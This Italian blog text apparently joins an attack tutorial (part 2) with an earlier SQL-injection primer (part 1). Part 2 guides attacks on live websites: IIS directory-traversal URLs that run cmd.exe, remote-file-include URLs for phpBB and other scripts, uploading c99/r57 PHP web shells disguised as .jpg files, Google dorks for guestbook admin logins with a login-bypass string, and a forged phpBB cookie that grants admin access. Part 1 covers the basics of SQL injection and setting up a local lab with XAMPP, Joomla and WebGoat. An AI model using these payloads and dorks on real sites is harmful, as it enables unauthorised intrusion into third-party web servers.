Ma per avere più esempi e possibilità , facciamo il caso che l’ Exploit non abbia l’ effetto desiderato perché il sito da attaccare è alla versione più recente ed il nostro exploit è vecchiotto , bisognerà quindi passare ad altre soluzioni , o meglio bisognerà pensare all’ idea di attaccare l’host su di un altro fronte …su di un altra porta , in base sempre alle informazioni ricevute dalla scansione con Superscanner e dalla ricerca con il Whois che prima abbiamo usato.

Se ad esempio è aperta sull’ host la porta 139 , sempre su milw0rm , ci sono molti exploits per sfruttare quest’ apertura , e quindi una volta individuato l’ exploit per la porta 139 , si richiama nella Shell e si invia.(quando scarichiamo un exploit da milw0rm in Shell non è possibile sapere tutto , ma se lo stesso exploit lo cerchiamo prima tramite browser e poi casomai se proprio vogliamo , lo richiamiamo tramite la Shell , possiamo avere sul sito , aprendo l’ exploit stesso delle informazioni prerziose che ci dicono come poterlo sfruttare.)

Facciamo l’ esempio di un webserver Windows2003 , e di avere aperta la porta 139 , (porta 139=NETBIOS , ovvero una porta che se aperta , e quindi che risponde , ci permette di avere un contatto con l’ host senza essere degli utenti registrati , e da quì quindi cercare degli exploits che possano sfruttarla), oppure ancora una cosa infallibile o quasi , si può pensare all’ iniezione di un exploit tramite la porta 80 IIS (Internet Information Service) .

tramite la porta 80 , si potrebbe procedere ad esempio con l’iniezione di un Exploit nel percorso , [PATH] , ad esempio:

Http://www.sitoesempio.it/scripts/..%255c.. %255cwinnt/system32/cmd.exe?/c+dir+c:

Http://www.sitoesempio.it/msadc/..%225c..%255c..%255c.. %255cwinnt/system32/cmd.exe?/c+dir+c:

Http://www.sitoesempio.it/cgi-bin/..%225c..%255c..%255c.. %255cwinnt/system32/cmd.exe?/c+dir+c:

Http://www.sitoesempio.it/_vti_cnf/…%255c….c..%255c..%255c.. %255cwinnt/system32/cmd.exe?/c+dir+c:

Http://www.sitoesempio.it/_vti_bin/…%255c….c..%255c..%255c.. %255cwinnt/system32/cmd.exe?/c+dir+c:

Ora però veniamo a quello che è il metodo , secondo me , più utile per capire tutto ciò che abbiamo descritto fin’ ora ,

L’ RFI , e cioé: il Remote File Include

Per usare questa tecnica , si eseguono determinate operazioni per fare in modo appunto che si possa in qualche modo provare ad inserire nell’ host una nostra stringa , effettuare come prima la nostra Injection , e per farlo abbiamo bisogno di un “luogo” di comando ossia un terminale….una Shell , come quella che abbiamo in backtrack , (almeno come stile di uso) , ma totalmente diversa come rappresentazione , perché parliamo di Shell scritte in PHP , come la c99 oppure la c2007 oppure ancora la R57.

Queste Shell sono dei file , scritti in PHP , che ci permettono di inviare e ricevere informazioni verso degli host e quindi avere nelle nostre mani l’ arma ideale per poter interagire con il sito da attaccare , e per poter utilizzare una Shell ad esempio la c99 , dobbiamo però fare in modo che la stessa Shell si trovi su di un altro FTP.

Per fare questo quindi noi avremo bisogno di fare l’ UPload della nostra Shell , su di un determinato host , oppure ancora , utilizzarne una che si trova già su un host. Per fare l’UPload della Shell bisogna fare però in modo di cambiargli l’ estensione , ad esempio immettere l’ estensione *.jpg , altrimenti , come è logico che sia , la shell sarà eseguita dal sistema che la invia e non da quello che invece la riceve.

Una volta che si è arrivati a fare l’ UPload della Shell e si è individuati l’ exploit che ci serve per sfruttare una qualche vulnerabilità su di un determinato host , ci basta seguire le indicazioni giuste e se l’ exploit ha effetto , (gli exploits hanno sempre effetto l’ unica soluzione è aggiornare o inserire delle patch al proprio sito), possiamo trovarci direttamente davanti al pannello di controllo dell’ FTP che stiamo prendendo in considerazione nel nostro attacco.

Questi sottoelencati sono degli exploits e mi sono apparsi con qualche piccola ricerca su milw0rm , e sono degli exploits che possiamo sfruttare tramite la nostra Shell , e che sfruttano la vulnerabilità dell’ autoiniezione. Ora io è da tempo che me ne preparavo , ma vi basta seguire il collegamento che ho appena inserito per trovarli tutti.

*****************

http://www.esempio.com/[path]/includes/content/

contact_content.php?root_path=[evil_code]

http://www.esempio.com/admanagerpro/

common.php?ipath=[Evil_Script]

http://www.esempio.com/templates/deluxe/

postreply.php?templatefolder=[Evil_Script]

http://www.esempio.com/templates/default/

pm/newpm.php?templatefolder=[Evil_Script]

http://www.esempio.com/modules/Forums

/admin/index.php?phpbb_root_path=[evil_scripts]

http://www.esempio.com/modules/Forums/

admin/admin_ug_auth.php?phpbb_root_path=[evil_scripts]

http://www.esempio.com/modules/Forums/

admin/admin_board.php?phpbb_root_path=[evil_scripts]

http://www.esempio.com/modules/Forums/

admin/admin_disallow.php?phpbb_root_path=[evil_scripts]

http://www.esempio.com/modules/Forums/

admin/admin_forumauth.php?phpbb_root_path=[evil_scripts]

*****************

(Purtroppo la formattazione del blog non mi permette di scriverli in maniera molto chiara , è per questo che li ho scritti ognuno in 2 righe , ma vi ripeto che comunque sono stati presi da milw0rm.com)

Questi sono solo pochi esempi , quindi possiamo immaginare i bug presenti nella programmazione in generale , se di bug possiamo parlare , ed è quì che si può capire l’ importanza per un admin di mantenersi sempre aggiornato.

Altri esempi sempre parlando di “Injection“ , possiamo farli nel “campo” dei Guestbook , ilGuestbook è un servizio, che si offre ai visitatori di un determinato sito per poter ad esempio lasciare un commento , e che permette agli stessi utenti anche di contattare l’ admin del sito stesso. Una query per Google per ricercare i Guestbook , e ,(questa di seguito in particolare che ci rimanda al login dell’ admin), è:

inurl:guestbook/admin/login.php

Una volta effettuata la query nel motore di ricerca di Google , e si arriva al login dell’ admin di un dato sito se noi procediamo con l’ Injection di questo codice maligno [EvilCode]:

USER: ‘or ‘jr7′=’jr7′ /*

PASSWORD: anything

potremo avere , (sempre per i siti ancora vulnerabili) , i permessi dell’ amministratore del sito.

Queste di seguito sono altre query per la ricerca del login dell’ admin

****************

inurl:guestbook/admin/login.php
inurl:guestbook/admin.php
inurl:guestbook/login.php
guestbook/login.php
guestbook/admin.php
guestbook/login/admin.php
guestbook/admin/login.php
allinurl:/guestbook/login/admin.php

*****************

Un ultimo metodo che mi sento di dover scrivereper immettere in database vulnerabili delle Injection particolari , è quello della manipolazione dei Cookie. Ma vediamo ad esempio come usare questa tecnica , abbastanza remota.

Il tipo di siti che sono affetti da questa vulnerabilità , sono i siti scritti in Phpbb fino alla versione 1.0.12.

Se noi andiamo sul motore di ricerca Google , e digitiamo nella barra di ricerca Powered By Phpbb 1.0.12

Ci verranno fuori dei risultati che saranno quelli dei forum che sono ancora scritti con questa versione.

Se cerchiamo un forum , e ci rechiamo nella homepage del forum stesso , e quindi nella pagina che contiene il file index.php , vediamo che nel file di testo che contiene i Cookie del nostro browser , ad esempio il Firefox , ci sarà anche il cookie del sito che noi abbiamo appena visitato. Accanto al Cookie , abbiamo la possibilità che ci sia una stringa di questo tipo:

phpbb2mysql_data a%3A07Bma

Bne , questo sta a significare che c’é una possibilità che il forum in questione possa essere vulnerabile alla nostra Injection , come?

Nel modo più semplice che ci possa passare per la testa , e cioé sostituendo la riga a destra ,(a%3A07Bma), che è il codice GUEST che ci viene attribuito dal forum ,con una stringa come ad esempio può essere questa:

a%3A27Bs%3A1122autologinid%22

%3Bb%3A1%3A622userid%22%3A1222%227D

(l’ ho scritta in 2 righe perché altrimenti la formattazione del blog l’ avrebbe tagliata)

In questo modo ci saranno molte probabilità che il sito quando leggerà il Cookie che ci aveva installato in precedenza , ci loggherà come admin

Fortunatamente a questa tecnica hanno posto rimedio in molti.

Bene la 2^ parte delle 3 , è finita.

Spero di essere stato chiaro.

Ho trattato anche cose che con l’ SQL-Injection forse non c’entrano al 100% , ma mi sembrava doveroso , inquanto secondo me se non si simulka un attacco , almeno provando a descriverlo , non si riesca ad avere un’ idea veramente chiara di ciò che si sta leggendo.

Spero di avere il tempo necessario per scrivere la 3^ parte il prima possibile , dove inserirò i tool specifici della backtrack , e che richiameranno ovviamente tutto l’ articolo appena scritto , in modo tale da usare i tool che la backtrack2 ci mette a disposizione , ma capendo veramente il loro funzionamento , perché la backtrack può essere anche solo usata , ma se non si capisce quello che si fa , si rischia di passare per lamer-blackhat , quando invece si vuole solo imparare.

ciao a tutti e alla prossima.

Eccoci arrivati a descrivere , come dice il titolo stesso , la tecnica dell’ SQL-Injection.

Questa prima parte la dedicherò alla descrizione e all’ apprendimento della SQL-Injection , ed è per questa ragione che l’ho chiamata SQL-Injection “descrizione e apprendimento”….mentre la seconda parte la dedicherò all’ attacco e e alla comprensione ed al funzionamento di tutti i tool inseriti in backtrack , che appunto riguardano gli attacchi di tipo SQL-Injection , e la chiamerò : SQL-Injection “analisi e attacco”

sperando ovviamente di riuscire a fare una guida , un articolo per due parti in totale , altrimenti ne farò anche tre….casomai immettendo nell’ultimo , per evidenziare magari , la parte riguardante la backtrack….ma cominciamo.

Innanzitutto voglio dirvi che per scrivere questa guida , o meglio quest’ articolo , ho pensato che sia bene installare un webserver , questo perché anche se come cosa è “evitabile” , nel mio piccolo ho intenzione di far capire , (e soprattutto di capire anch’io…:) ) , come funziona realmente un webserver , un database MySQL , e tutte quelle cose che ci girano intorno , altrimenti rischierei di fare una guida che è comprensibile solo per coloro che hanno conoscenza nel campo , e quindi non sarebbe più una guida o una articolo “…dalla A alla Z” , ma solo una descrizione che può essere benissimo presa da Wikipedia , o da molti altri siti in giro per la rete.

Per questo , ho visto tutta la procedura ed ho installato lo Xampp , ( che altro non sarebbe poi che l’insieme di “Apache – PHP – PERL – MySQL“….l’ equivalente “windowsiano” per lo stesso xampp , oppure per il più conosciuto EasyPHP ) , che secondo me , anche se non di fondamentale importanza , riesce meglio a rendere l’ idea diciò di cui io voglio descrivere in quest’articolo.

Installato lo Xampp , ho installato anche il CSM ,(Content Sistem Manager), Joomla! che , può servirci a provare qualche Exploit in futuro , anche se forse Joomla! , è il CSM che di exploit a meno sofferto rispetto agli altri , ma mi sembrava piuttosto facile da installare , ed è molto potente , e dopotutto , credo che se non si parta dalle basi di installazione di strumenti come questi , non si riesce a rendere bene l’ idea di ciò che si vuole ottenere. e comunque per chi volesse può sempre saltare avanti ed arrivare subito alla descrizione dell’ SQL-Injection.
In giro per la rete si trovano molte guide su come installare lo Xampp , , ed il Joomla! , anche se la magiorparte sono di solito riferite all’ installazione su Windows , o per l’ambiente GNU/Linux su Ubunu per chi volesse installarlo su backtrack , questa è una brevissima guida che avevo scritto molto tempo fà , ma che solo oggi pubblico , con un bel copia/incolla.

Quindi per chi volesse , ecco la descrizione per installare lo Xampp ed il CSM Joomla!

Per queste operazioni ho preso spunto dal sito di Apachefriends per lo Xampp , e per Joomla! da queste videolezioni.

Facciamo il download tramite Sourceforge.net , e scaricate il file nella vostra /root , dopodiché procediamo con lo scompattare l’archivio e posizionarlo in /opt

Ho fatto una piccola pubblicità a Sourceforge , sempre fondamentale per tutti noi , ma chi volesse può fare tutto in automatico dando da terminale il comando:

wget -c http://sourceforge.net/project/downloading.php?group_id=61776&use_mirror=surfnet&filename=xampp-linux-1.6.3b.tar.gz&79965514

(scusate la formattazione ma èp tutto attaccato , quindi chi volesse , copia/incolla…)e si ritrova nella propria /root , il proprio archivio di Xampp. Fatto questo procediamo
tar xvfz xampp-linux-1.6.3b.tar.gz -C /opt

Questa procedura installerà Xampp sul nostro sistema e per avviarlo basterà dare questo comando:

/opt/lampp/lampp start

mentre per fermarlo il comando sarà:

/opt/lampp/lampp stop

Ora bisogna configurare la sicurezza del nostro Xampp dando il seguente comando:
/opt/lampp/lampp security

stando attenti a non dimenticare le nostre password per MySQL il lampp ed il resto.

Durante la configurazione vi sarà chiesto se volete rendere accessibile il vostro server da web , a voi la risposta.

Quando farete i vostri lavori salvateli nella cartella:

/opt/lampp/htdocs/

Ora siamo naturalmente in backtrack , ed io consiglio sempre di avviare e di fermare il tutto con i comandi descritti sopra dati tramite Shell…..Konsole , ma per chi volesse può benissimo crearsi un launcher.

per chi lo desidera quindi :

posizioniamoci sul Desktop e con il tasto destro scegliamo l’opzione da menù New—>Create Link To Application… , inseriamo il comando , l’icona , o altri dati utili , se vogliamo una breve descrizione , e infine il nome Xampp. Se vogliamo invece crearci un icona sul menù Start di KDE andiamo appunto sul MenùStart ed appena si apre il menù con il tasto destro scegliamo EditItemMenu e dal gestore di KDE creiamo una nuova voce con NewItem , ancora scriviamo il comando e tutto il necessario , posizioniamo Xampp dove vogliamo , salviamo tramite l’icona, e usciamo dal gestore dei menù di KDE.

Avremo così il nostro webserver avviabile tramite interfaccia grfica.

Attenzione che questa guida è valida solo per backtrack , per tutte le altre distro , il posizionamento e gli stessi comandi cambiano tutti!

Passiamo ora alla verifica , andiamo in Shell , e digitiamo il comando di avvio del nostro webserver con il comando:

/opt/lampp/lampp start

vedremo che la risposta del sistema in konsole sarà la descrizione dell’ avvio del nostro Xampp for LINUX , di PHP-5 e di MySQL , a questo punto con il nostro browser preferito , Firefox per me , digitando nella barra degli indirizzi http://localhost/ riusciamo ad accedere alla pagina di Xampp , naturalmente dopo aver inserito username e password.

Dopo questa breve descrizione passiamo all’ installazione del CSM Joomla! dopodiché inizieremo subito a parlare dell’ argomento come da titolo.

Scarichiamo l’ultima release di Joomla! dal sito di Joomla.it , e una volta scaricato l’archivio estraiamolo e posizioniamolo nel posto in cui ho detto prima inseriamo i nostri lavori del webserver prima creato….e cioé in /opt/lampp/htdocs

Passiamo all’ installazione di joomla!

Joomla! è un CSM totalmente opensource , e in Italia e nel mondo ha un forte appoggio tramite tutte le sue comunità , è potente , e utilizzabile con un estrema facilità.

L’installazione di un CSM quale Joomla! , non è difficile , è abbastanza intuitiva come procedura , ma dobbiamo sempre ricordarci che non solo siamo in ambiente LKinux , ma siamo addirittura in backtrack , quindi dobbiamo seguire la procedura tenendo conto della nostra situazione , ad esempio quella di essere sempre /root , che può essere a seconda dei casi un vantaggio , ma che ci ricorda anche di stare attenti altrimenti possiamo fare degli enormi danni al nostro sistema.

Per installare Joomla! , ci basta entrare nella cartella appena creata con l’ estrazione dell’ archivio tramite Firefox , entrare anora nella cartella Installation ed andare a selezionare , index.php , oppure andare con il nostro filemanager Konqueror , selezionare installation.php e con il tasto destro apri con… e scrivere firefox , che attraverso una procedura guidata , ci guiderà nell’ installazione di Joomla!

Durante l’installazione ci verranno chiesti dei dati , che vanno dal nome del nostro “sito” , alle password da inserire per il database MySQL.

Innanzitutto bisogna controllare la fase di PRE-INSTALLATION , dove ci compariranno le descrizioni di tutte le configurazioni degli script e dei moduli che attualmente si trovano nel nostro databse , tutte le scritte che ci compaiono in rosso , sono da sistemare , io personalmente ne ho travate un paio , ma sono di facile correzione ed alcune addirittura non sono poi così fondamentali , tant’é che una configurazione riguardante il PHPmyadmin è ancora da sistemare , ma per il nostro scopo puramente informativo e quindi più o meno “superficiale” , non crea alcun problema. Assicuriamoci di avere , per coloro che in backtrack si sono creati degli utenti ,(per chì lo desidera qui c’é uno script gentilmente concesso da zogs e “hostato” su evilsocket.net), che non sono quindi /root , di avere per Joomla! tutte le cartelle con permessi in lettura/scrittura , altrimenti Joomla! ci segnalerà le cartelle senza permessi adeguati colorandole di rosso….e noi dovremmo portarle in verde adeguandovi quindi i permessi.

Arriviamo così alla prima schermata che riguarderà l’ accettazione della licenza.

La seconda riguarda invece la configurazione del database MySQL , dobbiamo inserire l’ hostname , la password ed il nome del database MySQL , e l’ estensione da dare alle nostre tabelle , questa ad esempio , io l’ho lasciata di default jos_ .

Arrivati alla 3^ schermata dobbiamo inserire la PATH dell’ installazione che nel nostro caso è: /opt/lampp/htdocs/joomla , inseriamo la nostra email , e la password per l’ amministrazione del database.

A questo punto l’installazione di Joomla! è stata completata con successo , l’importante è che prima di avviare joomla! , si rimuova completamente la cartella di installazione , oppure come io stesso ho fatto , andate a cambiare il nome della cartella da joomla a pippo o come volete chiamarla voi.

Ora , Joomla! è installato , e avendo il nostro webserver in locale , è come se avessimo un vero e proprio sito web , che possiamo personalizzare come vogliamo noi , Joomla! , a merito di tutta la sua comunità , ha ad esempio molte templates , che possono rendere il nostro “sito” , personalizzabile , ma quì vi lascio a voi stessi , altrimenti andrei troppo fuoriluogo.

Adesso , dopo che ci siamo fatti un’ idea di come si installa , di come si avvia e come si usa un webserver , iniziamo con la parte fondamentale dell’ articolo….e cioé con la descrizione della tecnica di attacco , di hacking , che è la SQL-Injection .

Come recita Wikipedia la SQL-Injection è appunto una tecnica di attacco , o hacking , che sfruttando delle vulnerabilità , riesce a colpire le applicazioni web che si trovano su di un determinato host di tipo SQL. Oltre a questo , e questo è il suo vero punto di forza , la SQL-Injection riesce a farci mantenere l’accesso ai dati all’ interno della nostra applicazione web , in questo modo l’ attaccante può ottenere i permessi dell’ admin , amministratore , del server o anche di una intera rete , avendo così , tutto nelle sue mani.

Ma vediamo ora come funziona l’ingresso in un database.

Noi ogni giorno , da quando accendiamo la nostra macchina , (intesa come Pc , e sempre per coloro che la spengono naturalmente) , eseguiamo un’infinità di accessi , anche se non sono sempre esplicabili nel caso che stiamo studiando ora , sono pursempre degli accessi , che vengono eseguiti da noi utenti e ricevuti dalla nostra stessa macchina e , quando siamo in rete , dai database…server , host , chimateli come volete.

Ora , un database , per arrivare alla decisione di farci entrare oppure no , e con i vari permessi , utilizza due script , eseguiti da noi che vogliamo entrarvi.

Gli script sono 2 , e insieme formano quello che è il nostro “login” , cioé l’insieme della procedura che un determinato database esegue , con intervento umano , per caratterizare l’ingresso o meno dell’utente che richiede l’ accesso.

Quando noi eseguiamo un accesso su di un server veniamo riportati tramite il nostro browser davanti ad una finestra che ci chiede delle informazioni , che sono:

1) username

2) password

Tramite queste informazioni il database riceve i dati da noi inseriti , per poi memorizzarli sottoforma di variabile , naturalmente dopo che lo stesso ha acconsentito oppure no , al nostro ingresso.

La “finestra” che ci compare davanti , è fatta generalmente dei 2 script di cui abbiamo parlato prima , e che sono scritti il primo in html ovvero il “form.html” ed il secondo in php , il “login.php“.

Secondo il numero ed il tipo di caratteri che noi inseriamo nei due campi , il database esegue o no l’ accesso…ma vediamo in base a cosa:

Il database trasporta i dati da noi inseriti all’ interno dello script “form.html” , (…la finestra) , all’interno di una memoria , e lo fa tramite il “login.php” , che tiene poi le due stringhe in due variabili ( $_POST['user'] ; $_POST['pwd']) . In base al contenuto di queste due variabili il database effettua una ricerca , chiamata “query” , al suo interno , e se trova le stringhe corrispondenti , ci fa entrare , assegnandoci i corrispondenti diritti di accesso , altrimenti no , e ci rimanda di nuovo davanti alla finestra di login.
Fino a quì , nessun problema , prassi di tutti i giorni , ma vediamo ora cosa può succedere se vogliamo l’ accesso al database senza possedere quelle due stringhe , che altro non sono che username e password.

Comiciamo dicendo che un programmatore quando esegue uno script , lo fa per gli scopi prestabiliti , nel senso che se fa lo script del form.html , si preoccupa di fare in modo che possa entrare solo la persona che possiede username e password , e basta. Ma se noi siamo a conoscenza del linguaggio del database ovvero l’ SQL , possiamo interagire con lo stesso database , e da quì parte quella che è definita la tecnica dell’ SQL-Injection. La tecnica hacking in questione prende il suo stesso nome dal procedimento in questione , ovvero: l’ iniezione di dati e valòori alterati all’ interno del database stesso , in modo che con l’ inserimento di questi dati , si possa inetragire con il database MySQL , attraverso la query che il database effettua per ricercare e poi comparare i valori inseriti dall’ utente con quelli residenti al suo interno.

Ma vediamo adesso uno dei principi dell’ Inject , e cioé l’ “alterazione dei dati”, perché è in base a questi principi che si possono eseguire tecniche di “iniezione” non conformi alle regole , ma vediamo come:

La cosa importante è sapere che il database SQL non ha alcuna “responsabilità” se così può essere definita , a riguardo , perché ad eseguire le nostre stringhe , sarà un linguaggio , se quindi noi ci comportiamo di conseguenza , e cioè usando lo stesso linguaggio possiamo fare in modo di interagire con la query stessa.

Un esempio , abbastanza remoto preso da wikipedia sempre , è quello che se noi all’ arrivo dello script form.html invece di inserire “username” e “password” inseriamo una stringa come ad esempio questa:

123′ OR ‘1′=’1

lo script in php , prende i dati dal form.html , e ne esegue una query che però anche se non contiene username e password , tramite la riga scritta sopra va ad incidere lo stesso sul database , infatti questo è il risultato in linguaggio SQL:

SELECT * FROM users WHERE user=’root’ AND pwd=’123′ OR ‘1′=’1′

(dove il valore 1 descrive l’accesso , e lo 0 -zero- , il rifiuto dello stesso , e visto che 1 , è sempre uguale a 1 , il database ci garantisce l’ accesso)

ma perché ci troviamo davanti a questa stringa se abbiamo scritto solo 123′ OR ‘1=’1???

Perché il controllo viene effettuato dalla query , ma solo per il riconoscimento delle stringhe , nessun controllo viene effettuato ai dati che l’ utente inserisce.

Sapendo quindi un pò di linguaggio web e dei database SQL , si riesce ad interagire con il database stesso.

Naturalmente abbiamo fatto una sola descrizione , questa è una delle stringhe a cui è stato posto rimedio già da moltissimo tempo , la vera arte sta nello scoprire sempre nuove stringhe in SQL che generano nuove vulnerabilità , in modo da comunicarle al più presto agli addetti e contribuire alla sicurezza della rete tutta.

È ovvio dire che per scoprire nuove vulnerabilità , occorre conoscere dei linguaggi di programmazione , solo in questo modo ovviamente si puossono trovare delle vulnerabilità da sfruttare , è inutile andare in giro per la rete a cercare stringhe create da altre persone , in questo modo anche se è possibile entrare e quindi sfruttare delle vulnerabilità di qualche webserver non aggiornato , non si arriverà mai allo scopo di capire veramente ciò che si fà , e quindi di conseguenza non si contribuisce allo sviluppo della sicurezza , e comunque , di solito , quando si scoprono nuove stringhe efficaci , dopo pochissimo tempo , fortunatamente , gli admin attenti pongono il loro rimedio.

in backtrack2 , ci sono molti strumenti che riguardano le tecniche di SQL-Injection , se andiamo nel MenuStartKDE—>backtrack—>VulnerabilityIdentification—>”…” , possiamo trovare più voci che appunto sono state create dagli sviluppatori per testare la sicurezza su vari tipi di database , con tool del calibro di “SQL-Inject – SQLninja – SQLnix – SQLbrute“

Oltre a questo , abbiamo degli scanner di SQL , come ad esempio lo stesso SQLscanner. Tramite tutti questi strumenti noi poossiamo identificare nuove vulnerabilità , e dopo aver effettuato i nostri test porre quindi gli eventuali rimedi.

All’interno del <back|track~BOX , inserirò , per lo scopo in questione , una raccolta di SQL-Injection , che sono prese in giro per la rete e da siti amici , come ad esempio SecurityBox.

Quindi per effettuare delle SQL-Injection , bisogna assolutamente conoscere il linguaggio SQL , o almeno le caratteristiche e i comandi essenziali. un metodo , che personalmente non ho ancora testato , per poter apprendere il più possibile sul campo della websecurity è quello di installarsi uno strumento come il WebGoat , della OSWAP.

Questa notizia l’ ho appresa dal sito di IronGeek , che ha realizzato un video-guida per l’installazione di WebGoat in ambiente Windows , io ne ho fatta una tutta mia per installare WebGoat , su backtrack.

Cos’é il WebGoat? , ed in quale modo può rendersi utile allo scopo che ci interessa maggiornmente ora? Vediamo:

Innanzitutto dedichiamo qualche riga all’ OSWAP , ovvero “Open Web Application Security Project” , che è una comunità molto attiva , che ha lo scopo di diffondere tramite i suoi progetti opensource , la websecurity , attraverso progetti come il WebGoat , fà in modo che gli utenti riescano ad apprendere le nozioni principali della sicurezza.

Il WebGoat è , a mio avviso , un ottimo strumento , che permette ad ogni utente volenteroso di apprendere il più possibile sul campo.

WebGoat è scritto in Java , e quindi può essere avviato su una Java Virtual Machine che ospiti un application server J2EE compliant. Nel nostro caso , sulla nostra backtrack , installeremo il TomCat , tre programmi (due moduli *.mo e un *.tgz) , che ci permetteranno di avviare ed utilizzare il WebGoat.

Innanzitutto tramite i repository di Slacky.eu , scarichiamo il pacchetto JDK.tgz

Dopodiché dalla pagina di download di slax , scarichiamo il modulo per Java , e chi vuole per Java_developpment

Una volta fatti i download , da Shell , date il comando :

installpkg nomepacchettoJAVA.tgz

assicurandoci di essere root e nella corretta directory , per chi vuole fare come me , si apra la Shell , direttamente dentro la directory in cui si è scaricati il pacchetto , e dopo aver dato installpkg trascinate il *.tgz fin dentro la konsole , date l’ invio , e aspettate il termine dell’ installazione.(Naturalmente se siete root , il download , se non avete cambiato le cose in precedenza , viene fatto direttamente in /root , e non vi servirà nemmeno di cambiare directory per fare queste operazioni).

Per i moduli invece stessa procedura di sempre , in konsole date i comandi:

mo2lzm nomepacchettoJAVA nomepacchettoJAVA.lzm *** da fare per tutti e due i moduli ***

Una volta covertiti i moduli in *.lzm , date i comandi

lzm2dir nomepacchettoJAVA.lzm / *** da fare per tutti e due i moduli ***

una volta effettuate queste operazioni scaricate tramite Sourceforge.net l’archivio di WebGoat (ovviamente quello per UNIX) , ed estraetene il contenuto in una cartella che può essere ad esempio: /usr/local

Una volta eseguita l’estrazione di WebGoat , andiamo ad aprire con il nostro editor di testi preferito , ad esempio kate , il file webgoat.sh , e al suo interno alla riga con il seguente contenuto :

JAVA_HOME=”Set me to a Java 1.5 JDK install”

cambiate la PATH secondo la vostra installazione , che in backtrack altro non può essere che:

JAVA_HOME=/usr/lib/jre1.5.0_09

Naturalmente il nome dipende dalla versione di Java che avete installato , ma se avete scaricato i pacchetti che ho linkato in quest’ articolo , non possono esserci dei dubbi.

Una volta fatta questa operazione , apritevi una Shell , e digitate:

sh webgoat.sh start80

In questo modo farete partire il webserver TomCat e con WebGoat , e per incominciare ad apprendere tramite le lezioni di WebGoat , vi basterà andare con Konqueror o Firefox all’ indirizzo seguente dopo aver inserito username e password “guest” e “guest“

http://127.0.0.1:80/ WebGoat/attack/

Per fermarlo , ovvio:

sh webgoat.sh stop

Siamo così arrivati alla fine dell’ articolo.

Quest’articolo l’ho fatto per crearmi , e per creare in chi volesse leggermi , un’idea ben precisa di quello che può essere la tecnica dell’ SQL-Injection , senza alcuna dimostrazione e senza l’ uso alcuno dei tool che ci mette a disposizione la backtrack , appena posso lo farò , per adesso mi accontento di aver creato , almeno spero , una idea chiara e precisa di del tema trattato , anche perché credo che non si possa capire come creare un SQL-Injection , senza sapere com’ è strutturato un webserver , e credo , tramite l’ installazione di WebGoat in backtrack , di aver messo a disposizione una guida all’ uso di uno strumento molto valido , che per coloro che , come me , vogliono apprendere il più possibile , è una cosa fondamentale. Naturalmente non posso non linkare il manuale del PHP e SQL
Spero di avere il tempo necessario a fare un articolo sull’ uso degli strumenti presenti in backtrack , e che riguardano l’uso dei tool inseriti nella backtrack , sperando di riuscirci , in locale , tramite i webserver e i pacchetti installati e che ho descritto in quest’ articolo.

Intanto , visto che ho scelto il CSM joomla! , per chi volesse studiarsi degli Exploit , cliccando sull’ immagine quì sotto verrete riportati alla pagina di milw0rm.com , con i risultati di ricerca per le vulnerabilità sui componenti di joomla! Vi basterà inserire nella barra di ricerca la parola”joomla“.

Noi ci vediamo alla seconda parte dell’ SQL-Injection , riguardante appunto l’ “analisi e attacco”